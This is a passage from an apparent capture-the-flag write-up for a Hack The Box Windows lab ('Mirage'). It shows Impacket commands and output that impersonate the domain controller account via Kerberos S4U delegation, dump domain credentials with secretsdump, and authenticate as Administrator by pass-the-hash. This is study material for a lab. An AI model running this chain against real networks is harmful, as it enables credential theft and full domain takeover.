/home/kali/.local/share/uv/tools/impacket/lib/python3.13/site-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
  import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Impersonating dc01$
/home/kali/.local/bin/getST.py:380: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow()
/home/kali/.local/bin/getST.py:477: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[*] Requesting S4U2self
/home/kali/.local/bin/getST.py:607: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow()
/home/kali/.local/bin/getST.py:659: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[*] Requesting S4U2Proxy
[*] Saving ticket in dc01$@HOST_dc01.mirage.htb@MIRAGE.HTB.ccache

And let’s secrets dump

1
2
3
4
5
6
7
8
9
10
secretsdump.py -k -no-pass $DOMAIN/"dc01$"@$DC
/home/kali/.local/share/uv/tools/impacket/lib/python3.13/site-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is 
slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
  import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user         
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)                                                         
[*] Using the DRSUAPI method to get NTDS.DIT secrets                                                                  
mirage.htb\Administrator:500:aad3b435b51404eeaad3b435b51404ee:[REDACTED]:::
<SIP>

We can authenticate as Administrator via Kerberos

1
2
3
nxc smb $DC -u $USER -H $HASH -k
SMB         DC01.mirage.htb 445    DC01             [*]  x64 (name:DC01) (domain:mirage.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         DC01.mirage.htb 445    DC01             [+] mirage.htb\Administrator:[REDACTED] (Pwn3d!)

Just like that, we have Root!

tags: diff/hard - os/windows